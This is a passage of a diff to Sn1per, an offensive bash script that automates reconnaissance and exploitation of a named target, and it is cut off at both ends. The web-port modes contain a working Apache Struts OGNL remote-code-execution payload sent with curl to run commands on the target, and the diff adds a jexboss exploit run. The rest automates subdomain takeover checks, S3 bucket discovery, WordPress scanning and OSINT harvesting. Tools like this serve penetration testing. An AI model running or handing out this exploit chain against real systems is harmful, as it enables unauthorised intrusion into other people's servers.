$LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - cp -Rf $LOOT_DIR/aquatone/ $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null - rm -Rf $LOOT_DIR/{aquatone,screenshots,nmap,domains,output,reports,imports,notes,osint,web}/ 2> /dev/null - mkdir $LOOT_DIR/{aquatone,screenshots,nmap,domains,output,reports,imports,notes,osint,web}/ -p 2> /dev/null + cd .. + + echo -e "$OKORANGE + -- --=[Sorting all domains...$RESET" + touch $LOOT_DIR/domains/domains-all-sorted.txt 2> /dev/null + sort -u $LOOT_DIR/domains/*.txt > $LOOT_DIR/domains/domains-all-sorted.txt 2> /dev/null + + echo -e "$OKORANGE + -- --=[Generating HTML Report...$RESET" + echo " +


--= [ by 1N3@CrowdShield -
https://crowdshield.com ] =--

+ aquatone + burpsuite + domains + nmap + notes + output + reports + screenshots + web

+

Last Report

+

+

Metasploit/NMap

+

+

Domains

+

+

Screenshots

+
+ " > $LOOT_DIR/sniper-report.html + + for a in `ls $LOOT_DIR/screenshots/`; do + TARGET=`echo $a | cut -d- -f1` + echo "" >> $LOOT_DIR/sniper-report.html + echo "" >> $LOOT_DIR/sniper-report.html + done; + echo "

$a


" >> $LOOT_DIR/sniper-report.html
+    cat $LOOT_DIR/web/headers-http*-$TARGET.txt >> $LOOT_DIR/sniper-report.html
+    echo "
" >> $LOOT_DIR/sniper-report.html + echo "
" >> $LOOT_DIR/sniper-report.html echo -e "$OKORANGE + -- --=[Opening workspace directory...$RESET" - $BROWSER 2> /dev/null & - sleep 2 - $BROWSER $LOOT_DIR/workspace/$WORKSPACE/ 2> /dev/null & - sleep 2 - echo -e "$OKORANGE + -- --=[Launching Aquatone Report...$RESET" - $BROWSER $LOOT_DIR/workspace/$WORKSPACE/aquatone/*/report/report_page_0.html 2> /dev/null & - echo -e "$OKORANGE + -- --=[Launching Metasploit Pro Web UI...$RESET" - $BROWSER http://localhost:3001/login 2> /dev/null & + $BROWSER $LOOT_DIR/sniper-report.html 2> /dev/null > /dev/null & echo -e "$OKORANGE + -- --=[Done!$RESET" } -function help { - echo -e "$OKRED ____ $RESET" - echo -e "$OKRED _________ / _/___ ___ _____$RESET" - echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" - echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" - echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" - echo -e "$OKRED /_/ $RESET" - echo "" - echo -e "$OKORANGE + -- --=[http://crowdshield.com$RESET" - echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3$RESET" - echo "" - echo ' [*] sniper ' - echo ' [*] sniper stealth ' - echo ' [*] sniper discover' - echo ' [*] sniper port ' - echo ' [*] sniper fullportonly ' - echo ' [*] sniper web ' - echo ' [*] sniper webporthttp ' - echo ' [*] sniper webporthttps ' - echo ' [*] sniper nobrute ' - echo ' [*] sniper /full/path/to/targets.txt airstrike ' - echo ' [*] sniper /full/path/to/targets.txt nuke ' - echo ' [*] sniper loot' - echo ' [*] sniper update' - echo "" - echo "" -} - -if [ -z $TARGET ]; then - echo -e "$OKRED ____ $RESET" - echo -e "$OKRED _________ / _/___ ___ _____$RESET" - echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" - echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" - echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" - echo -e "$OKRED /_/ $RESET" - echo -e "" - echo -e "$OKORANGE + -- --=[http://crowdshield.com$RESET" - echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3$RESET" - echo -e "$OKORANGE + -- --=[Usage: sniper $RESET" - echo "" - exit -fi - -if [[ $TARGET = "--help" ]]; then - help - exit +if [ "$REIMPORT" = "1" ]; then + if [ ! -z "$WORKSPACE_DIR" ]; then + loot + exit + fi fi if [[ ${TARGET:0:1} =~ $REGEX ]]; @@ -255,17 +374,11 @@ if grep -q BlackArch /etc/issue; then echo "Setting current path to $INSTALL_DIR" fi -if [ "$MODE" = "report" ]; then - $INSTALL_DIR/sniper $TARGET | tee $LOOT_DIR/sniper-$TARGET-`date +%Y%m%d%H%M`.txt 2>&1 - exit -fi - -if [ "$TARGET" = "loot" ]; then - loot - exit -fi - if [ "$MODE" = "discover" ]; then + if [ "$REPORT" = "1" ]; then + sniper -t $TARGET -m $MODE --noreport | tee $LOOT_DIR/output/sniper-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + exit + fi echo -e "$OKRED ____ /\\" echo -e "$OKRED Sn1per by 1N3 @CrowdShield \ \\" echo -e "$OKRED https://crowdshield.com \ \\" @@ -310,22 +423,22 @@ if [ "$MODE" = "discover" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" -exit + exit fi if [ "$MODE" = "web" ]; then - if [ "$OPT1" = "report" ]; then - sniper $TARGET $MODE | tee $LOOT_DIR/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + if [ "$REPORT" = "1" ]; then + sniper -t $TARGET -m $MODE --noreport | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 exit fi fi # WEBPORTHTTP MODE if [ "$MODE" = "webporthttp" ]; then - if [ "$OPT2" = "report" ]; then - sniper $TARGET $MODE $OPT1 | tee $LOOT_DIR/sniper-$TARGET-$MODE-$OPT1`date +%Y%m%d%H%M`.txt 2>&1 + if [ "$REPORT" = "1" ]; then + sniper -t $TARGET -m $MODE -p $PORT --noreport | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT`date +%Y%m%d%H%M`.txt 2>&1 exit - fi + fi echo -e "$OKRED ____ $RESET" echo -e "$OKRED _________ / _/___ ___ _____$RESET" echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" @@ -369,8 +482,6 @@ if [ "$MODE" = "webporthttp" ]; then echo -e " -hrr- '; ,;' " echo -e " \"' '\" " echo -e " ''''$RESET" - - PORT="$OPT1" echo "" echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" @@ -395,6 +506,7 @@ if [ "$MODE" = "webporthttp" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED CHECKING HTTP HEADERS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" + curl --connect-timeout 1 -I -s -R http://$TARGET >> $LOOT_DIR/web/headers-http-$TARGET.txt echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" curl -s --insecure -I http://$TARGET:$PORT | egrep -i 'X-Content' | tail -n 10 echo "" @@ -450,9 +562,9 @@ if [ "$MODE" = "webporthttp" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port$PORT.jpg" if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg + /bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg 2> /dev/null else - cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg + cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg 2> /dev/null fi echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" @@ -470,9 +582,9 @@ if [ "$MODE" = "webporthttp" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - wpscan --url http://$TARGET:$PORT --batch + wpscan --url http://$TARGET:$PORT --batch --disable-tls-checks echo "" - wpscan --url http://$TARGET:$PORT/wordpress/ --batch + wpscan --url http://$TARGET:$PORT/wordpress/ --batch --disable-tls-checks echo "" echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING CMSMAP $RESET" @@ -510,9 +622,12 @@ if [ "$MODE" = "webporthttp" ]; then echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'" http://$TARGET:$PORT | head -n 1 - + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:$PORT if [ $SCAN_TYPE == "DOMAIN" ]; then - if [ $GOOHAK == "0" ]; then + if [ $OSINT == "0" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -538,8 +653,8 @@ fi # WEBPORTHTTPS MODE if [ "$MODE" = "webporthttps" ]; then - if [ "$OPT2" = "report" ]; then - sniper $TARGET $MODE $OPT1 | tee $LOOT_DIR/sniper-$TARGET-$MODE-$OPT1`date +%Y%m%d%H%M`.txt 2>&1 + if [ "$REPORT" = "1" ]; then + sniper -t $TARGET -m $MODE -p $PORT --noreport | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT`date +%Y%m%d%H%M`.txt 2>&1 loot exit fi @@ -586,8 +701,6 @@ if [ "$MODE" = "webporthttps" ]; then echo -e " -hrr- '; ,;' " echo -e " \"' '\" " echo -e " ''''$RESET" - - PORT="$OPT1" echo "" echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" @@ -615,16 +728,10 @@ if [ "$MODE" = "webporthttps" ]; then sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET sslscan --no-failed $TARGET echo "" - if [ $DISTRO == "blackarch" ]; then - massbleed $TARGET port $PORT - else - cd $PLUGINS_DIR/MassBleed - ./massbleed $TARGET port $PORT - fi - cd $INSTALL_DIR echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED CHECKING HTTP HEADERS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" + curl --connect-timeout 1 -I -s -R https://$TARGET >> $LOOT_DIR/web/headers-https-$TARGET.txt echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" curl -s --insecure -I https://$TARGET:$PORT | egrep -i 'X-Content' | tail -n 10 echo "" @@ -679,9 +786,9 @@ if [ "$MODE" = "webporthttps" ]; then echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg + /bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg 2> /dev/null else - cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg + cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg 2> /dev/null fi echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port$PORT.jpg" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -700,9 +807,9 @@ if [ "$MODE" = "webporthttps" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - wpscan --url https://$TARGET:$PORT --batch + wpscan --url https://$TARGET:$PORT --batch --disable-tls-checks echo "" - wpscan --url https://$TARGET:$PORT/wordpress/ --batch + wpscan --url https://$TARGET:$PORT/wordpress/ --batch --disable-tls-checks echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING CMSMAP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -739,11 +846,15 @@ if [ "$MODE" = "webporthttps" ]; then echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://$TARGET:$PORT | head -n 1 + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:$PORT if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then if [ -z $GHDB ]; then - if [ $GOOHAK == "0" ]; then + if [ $OSINT == "0" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -768,8 +879,41 @@ if [ "$MODE" = "webporthttps" ]; then fi if [ "$MODE" = "stealth" ]; then - if [ "$OPT1" = "report" ]; then - sniper $TARGET $MODE | tee $LOOT_DIR/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + if [ "$REPORT" = "1" ]; then + args="-t $TARGET" + if [ "$OSINT" = "1" ]; then + args="$args -o" + fi + if [ "$AUTOBRUTE" = "1" ]; then + args="$args -b" + fi + if [ "$FULLNMAPSCAN" = "1" ]; then + args="$args -fp" + fi + if [ "$GOOHAK" = "1" ]; then + args="$args -g" + fi + if [ "$RECON" = "1" ]; then + args="$args -re" + fi + if [ "$LOOT" = "1" ]; then + args="$args -l" + fi + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $LOOT_DIR 2> /dev/null + mkdir $LOOT_DIR/domains 2> /dev/null + mkdir $LOOT_DIR/screenshots 2> /dev/null + mkdir $LOOT_DIR/nmap 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/burpsuite 2> /dev/null + mkdir $LOOT_DIR/reports 2> /dev/null + mkdir $LOOT_DIR/output 2> /dev/null + fi + args="$args --noreport -m stealth" + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 exit fi echo -e "$OKRED ____ $RESET" @@ -823,62 +967,75 @@ if [ "$MODE" = "stealth" ]; then echo -e "$OKRED GATHERING WHOIS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" whois $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING OSINT INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - theharvester -d $TARGET -l 25 -b all 2> /dev/null - metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html + + if [ "$OSINT" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING OSINT INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + theharvester -d $TARGET -l 25 -b all 2> /dev/null + metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html + fi + echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED GATHERING DNS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" dig -x $TARGET dnsenum $TARGET mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS SUBDOMAINS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null - dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null - echo "" - echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET" - echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET" - echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKBLUE" - curl -s https://crt.sh/?q=%25.$TARGET > /tmp/curl.out && cat /tmp/curl.out | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt && cat $LOOT_DIR/domains/domains-$TARGET-crt.txt - echo "" - echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt" - cat $LOOT_DIR/domains/domains-$TARGET-crt.txt > /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/domains-$TARGET.txt >> /tmp/curl.out 2> /dev/null - sort -u /tmp/curl.out > $LOOT_DIR/domains/domains-$TARGET-full.txt - rm -f /tmp/curl.out 2> /dev/null - echo -e "$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine" 2>/dev/null; done; - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/SimpleEmailSpoofer/spoofcheck.py $TARGET 2>/dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED STARTING DOMAIN FLYOVER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - aquatone-discover -d $TARGET -t 100 --wordlist $PLUGINS_DIR/Sublist3r/subdomains.lst - aquatone-takeover -d $TARGET -t 100 - aquatone-scan -d $TARGET -t 100 -p80,443 - aquatone-gather -d $TARGET -t 100 - mkdir -p $LOOT_DIR/aquatone/ 2> /dev/null - cp -Rf ~/aquatone/$TARGET $LOOT_DIR/aquatone/ - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd $PLUGINS_DIR/slurp/ - ./slurp-linux-amd64 domain --domain $TARGET + + if [ "$RECON" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING DNS SUBDOMAINS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null + dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null + echo "" + echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET" + echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET" + echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKBLUE" + curl -s https://crt.sh/?q=%25.$TARGET > /tmp/curl.out && cat /tmp/curl.out | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt && cat $LOOT_DIR/domains/domains-$TARGET-crt.txt + echo "" + echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt" + cat $LOOT_DIR/domains/domains-$TARGET-crt.txt > /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/domains-$TARGET.txt >> /tmp/curl.out 2> /dev/null + sort -u /tmp/curl.out > $LOOT_DIR/domains/domains-$TARGET-full.txt + rm -f /tmp/curl.out 2> /dev/null + echo -e "$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/SimpleEmailSpoofer/spoofcheck.py $TARGET 2>/dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED STARTING DOMAIN FLYOVER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + aquatone-discover -d $TARGET -t 100 --wordlist $PLUGINS_DIR/Sublist3r/subdomains.lst + aquatone-takeover -d $TARGET -t 100 + aquatone-scan -d $TARGET -t 100 -p80,443 + aquatone-gather -d $TARGET -t 100 + mkdir -p $LOOT_DIR/aquatone/ 2> /dev/null + cp -Rf ~/aquatone/$TARGET $LOOT_DIR/aquatone/ + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + dig $TARGET CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine" + for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine" 2>/dev/null; done; + #echo -e "${OKGREEN}====================================================================================${RESET}" + #echo -e "$OKRED CHECKING FOR UNREFERENCED CLOUDFRONT S3 PUBLIC BUCKETS $RESET" + #echo -e "${OKGREEN}====================================================================================${RESET}" + #cloudhunter -d $TARGET + #cloudhunter -w $LOOT_DIR/domains/domains-$TARGET-full.txt + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd $PLUGINS_DIR/slurp/ + ./slurp-linux-amd64 domain --domain $TARGET + fi cd $INSTALL_DIR echo "" fi @@ -887,10 +1044,10 @@ if [ "$MODE" = "stealth" ]; then echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml - + port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` - + if [ -z "$port_80" ]; then echo -e "$OKRED + -- --=[Port 80 closed... skipping.$RESET" @@ -907,23 +1064,18 @@ if [ "$MODE" = "stealth" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" + curl --connect-timeout 1 -I -s -R http://$TARGET >> $LOOT_DIR/web/headers-http-$TARGET.txt xsstracer $TARGET 80 echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING CLOUDFLARE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd $PLUGINS_DIR/CloudFail/ - python3 cloudfail.py --target $TARGET - cd $INSTALL_DIR - echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg + /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg 2> /dev/null else - cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg + cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg 2> /dev/null fi fi - + if [ -z "$port_443" ]; then echo -e "$OKRED + -- --=[Port 443 closed... skipping.$RESET" @@ -940,14 +1092,9 @@ if [ "$MODE" = "stealth" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" + curl --connect-timeout 1 -I -s -R https://$TARGET >> $LOOT_DIR/web/headers-https-$TARGET.txt xsstracer $TARGET 443 echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING CLOUDFLARE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd $PLUGINS_DIR/CloudFail/ - python3 cloudfail.py --target $TARGET - cd $INSTALL_DIR - echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET @@ -956,11 +1103,11 @@ if [ "$MODE" = "stealth" ]; then echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg + /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg 2> /dev/null else - cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg + cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg 2> /dev/null fi - echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/$TARGET-port443.jpg" + echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg" fi echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SCAN COMPLETE! $RESET" @@ -981,223 +1128,100 @@ if [ "$MODE" = "stealth" ]; then echo -e "" echo -e "" rm -f $INSTALL_DIR/.fuse_* 2> /dev/null + if [ "$LOOT" = "1" ]; then + loot + fi exit fi +# AIRSTRIKE MODE if [ "$MODE" = "airstrike" ]; then - if [ "$OPT1" = "report" ]; then - sniper $TARGET $MODE | tee $LOOT_DIR/sniper-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + if [ -z "$FILE" ]; then + logo + echo "You need to specify a list of targets (ie. -f ) to scan." exit fi - echo -e "$OKRED ____ $RESET" - echo -e "$OKRED _________ / _/___ ___ _____$RESET" - echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" - echo -e "$OKRED (__ ) / / // // 